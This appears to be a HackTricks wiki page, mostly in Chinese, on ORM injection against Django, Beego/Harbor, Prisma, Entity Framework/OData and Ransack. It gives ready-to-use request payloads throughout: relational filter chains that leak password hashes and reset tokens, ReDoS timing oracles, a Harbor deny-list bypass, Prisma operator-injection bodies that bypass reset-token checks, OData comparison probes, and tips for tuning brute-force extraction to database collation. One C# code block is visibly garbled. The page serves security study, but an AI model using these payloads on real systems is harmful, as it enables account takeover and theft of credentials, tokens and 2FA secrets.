ORM Injection
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Django ORM (Python)
In this post is explained how it’s possible to make a Django ORM vulnerable by using for example a code like:
class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
注意所有的 request.data(它会是一个 json)被直接传递给 filter objects from the database。攻击者可以发送意料之外的过滤器,从而 leak 出比预期更多的数据。
示例:
- Login: 在一个简单的登录流程中,尝试 leak 注册用户的密码。
{
"username": "admin",
"password_startswith": "a"
}
Caution
有可能对 password 进行 brute-force,直到被 leak。
- Relational filtering: 可以遍历关系,从那些原本并不期望在该操作中使用的列中 leak 信息。比如,如果可以 leak 某个用户创建的文章,且关系如下:Article(
created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}
Caution
可以找到所有创建了文章的用户的密码
- 多对多关系过滤: 在前面的例子中,我们无法找到那些没有创建文章的用户的密码。然而,沿着其他关系这是可能的。例如: Article(
created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}
Caution
在这种情况下,我们可以找到那些创建过文章的用户所在部门中的所有用户,然后 leak 他们的密码(在之前的 json 中我们只是 leak 了用户名,但也可能 leak 出密码)。
- Abusing Django Group and Permission many-to-may relations with users: 此外,AbstractUser 模型用于在 Django 中生成用户,默认情况下该模型具有一些 many-to-many relationships with the Permission and Group tables。这基本上是一种默认方式,可以让一个用户 access other users from one user,如果他们属于 same group or share the same permission。
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- 绕过过滤限制: 同一篇博客提出了绕过某些过滤的方法,例如
articles = Article.objects.filter(is_secret=False, **request.data)。可以 dump 出 is_secret=True 的文章,因为我们可以通过关系回溯到 Article 表,并从非机密文章中 leak 出机密文章——这是因为结果被 join,is_secret 字段在非机密文章上被检查,而数据却是从机密文章中被 leak 出来。
Article.objects.filter(is_secret=False, categories__articles__id=2)
Caution
滥用关系可以绕过那些用于保护所显示数据的过滤器。
- Error/Time based via ReDoS: 在前面的示例中,预期如果过滤生效与否会导致不同的响应,从而将其用作 oracle。但也可能某些操作是在数据库中完成,而响应始终相同。在这种情况下,可以通过触发数据库错误来获得一个新的 oracle。
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
来自同一篇关于该向量的帖子:
- SQLite: Doesn’t have a regexp operator by default (require loading a third-party extension)
- PostgreSQL: Doesn’t have a default regex timeout and it’s less prone to backtracking
- MariaDB: Doesn’t have a regex timeout
Beego ORM (Go) & Harbor Filter Oracles
Beego 会模仿 Django 的 field__operator DSL,因此任何让用户控制 QuerySeter.Filter() 的第一个参数的处理程序都会暴露整个关系图:
qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
像 /search?filter=created_by__user__password__icontains=pbkdf 这样的请求可以像上面那些 Django 原语一样通过外键进行转向。Harbor 的 q helper 将用户输入解析为 Beego filters,因此低权限用户可以通过观察列表响应来探测敏感信息:
GET /api/v2.0/users?q=password=~$argon2id$→ 可判断是否有任何 hash 包含$argon2id$。GET /api/v2.0/users?q=salt=~abc→ leaks salt substrings.
通过计数返回行数、观察分页元数据或比较响应长度,可以得到一个 oracle,用来 brute-force 整个 hashes、salts 和 TOTP seeds。
Bypassing Harbor’s patches with parseExprs
Harbor attempted to protect sensitive fields by tagging them with filter:"false" and validating only the first segment of the expression:
k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)
Beego 的内部 parseExprs 会遍历每个用 __ 分隔的片段,当当前片段不是关系时,它会直接用下一个片段覆盖目标字段。像 email__password__startswith=foo 这样的 payload 因此会通过 Harbor 的 Filterable(email)=true 检查,但会作为 password__startswith=foo 执行,从而绕过拒绝列表。
v2.13.1 将 keys 限制为单个分隔符,但 Harbor 自己的 fuzzy-match builder 在验证后会追加运算符:q=email__password=~abc → Filter("email__password__icontains", "abc")。ORM 再次将其解释为 password__icontains。仅检查第一个 __ 组件的 Beego 应用,或在请求管道后期追加运算符的应用,仍然容易受到相同的覆盖原语的影响,并且仍然可以被滥用为 blind leak oracles。
Prisma ORM (NodeJS)
The following are tricks extracted from this post.
- Full find control:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
可以看到整个 javascript body 会被传给 prisma 来执行查询。
在原文的例子中,这将检查所有由某人 createdBy 的 posts(每篇 post 都由某人创建),并返回该某人的用户信息(username、password…)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
下面这个查询会选出由拥有密码的某人创建的所有帖子,并返回该密码:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- 完全控制 where 子句:
下面来看一个攻击者可以控制 where 子句 的例子:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
可以直接过滤用户的 password,例如:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
Caution
使用诸如
startsWith之类的操作可能导致信息 leak。
- Many-to-many relational filtering bypassing filtering:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
可以通过回溯到 Category -[*..*]-> Article 的多对多关系来 leak 未发布的文章:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
也可以通过滥用某些回环多对多关系来 leak 所有用户:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: 在原始帖子中,你可以看到一系列非常详尽的测试,用于找出最优的 payload,以用 time based payload 来 leak 信息。具体如下:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Where the {CONTAINS_LIST} is a list with 1000 strings to make sure the response is delayed when the correct leak is found.
where 过滤器上的类型混淆 (operator injection)
Prisma 的查询 API 接受原始值或运算符对象。当处理器假定请求体包含普通字符串但直接将它们传给 where 时,攻击者可以将运算符混入认证流程,从而绕过 token 检查。
const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})
常见的强制(coercion)向量:
- JSON body (default
express.json()):{"resetToken":{"not":"E"},"password":"newpass"}⇒ 匹配所有 token 不是E的用户。 - URL-encoded body with
extended: true:resetToken[not]=E&password=newpass会变成相同的对象。 - Query string in Express <5 or with extended parsers:
/reset?resetToken[contains]=argon2leaks substring matches. - cookie-parser JSON cookies:
Cookie: resetToken=j:{"startsWith":"0x"}如果 cookies 被转发给 Prisma。
因为 Prisma 会直接评估 { resetToken: { not: ... } }、{ contains: ... }、{ startsWith: ... } 等表达式,任何对秘密(reset tokens, API keys, magic links)的相等性检查都可以被扩展成在不知道秘密的情况下也能成立的谓词。将此与关系过滤器(createdBy)结合即可选取受害者。
留意以下流程:
- 请求 schema 未被强制执行,因此嵌套对象在反序列化后仍然存在。
- 扩展的 body/query 解析器仍然启用并接受方括号语法。
- 处理器将用户 JSON 直接转发给 Prisma,而不是映射到白名单字段/操作符上。
Entity Framework & OData Filter Leaks
Reflection-based text helpers leak secrets
Microsoft TextFilter helper 被滥用用于 leaks
```csharp IQueryable枚举每个字符串属性并将它们包装在 .Contains(term) 中的 helper,实际上会将 passwords、API tokens、salts 和 TOTP secrets 暴露给任何可以调用该 endpoint 的用户。Directus CVE-2025-64748 是一个真实示例,其 directus_users search endpoint 在生成的 LIKE 谓词中包含了 token 和 tfa_secret,将结果计数变成了一个 leak oracle。
OData comparison oracles
ASP.NET OData controllers often return IQueryable<T> and allow $filter, even when functions such as contains are disabled. As long as the EDM exposes the property, attackers can still compare on it:
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
仅凭结果的存在或缺失(或分页元数据)就可以根据数据库排序规则对每个字符进行二分搜索。导航属性 (CreatedBy/Token, CreatedBy/User/Password) 启用类似于 Django/Beego 的关系枢轴,因此任何暴露敏感字段或跳过按属性拒绝列表的 EDM 都是一个容易的目标。
将用户字符串翻译为 ORM 操作符的库和中间件(e.g., Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers)应视为高风险点,除非它们实现了严格的字段/操作符允许列表。
Ransack (Ruby)
这些技巧在found in this post.
Tip
注意 Ransack 4.0.0.0 现在强制对可搜索属性和关联使用显式允许列表。
易受攻击的示例:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
注意查询将由攻击者发送的参数来定义。例如,可以对 reset token 进行 brute-force:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
By brute-forcing 并可能利用 relationships,可以从数据库中 leak 更多数据。
考虑排序规则(collation)的 leak 策略
字符串比较继承数据库的 collation,因此 leak oracles 必须根据后端对字符的排序方式来设计:
- 默认的 MariaDB/MySQL/SQLite/MSSQL collation 通常不区分大小写,所以
LIKE/=无法区分a和A。当 secret 的大小写重要时,使用区分大小写的运算符(regex/GLOB/BINARY)。 - Prisma 和 Entity Framework 会镜像数据库的排序。像 MSSQL 的
SQL_Latin1_General_CP1_CI_AS这类 collation 将标点放在数字和字母之前,所以 binary-search probes 必须遵循该排序,而不是原始 ASCII 字节顺序。 - SQLite 的
LIKE除非注册了自定义 collation,否则是不区分大小写的,因此 Django/Beego leaks 可能需要使用__regex谓词来恢复区分大小写的 token。
将 payloads 校准到真实的 collation 可以避免无谓的 probes,并显著加速自动化的 substring/binary-search attacks。
References
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://www.elttam.com/blog/leaking-more-than-you-joined-for/
- https://positive.security/blog/ransack-data-exfiltration
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


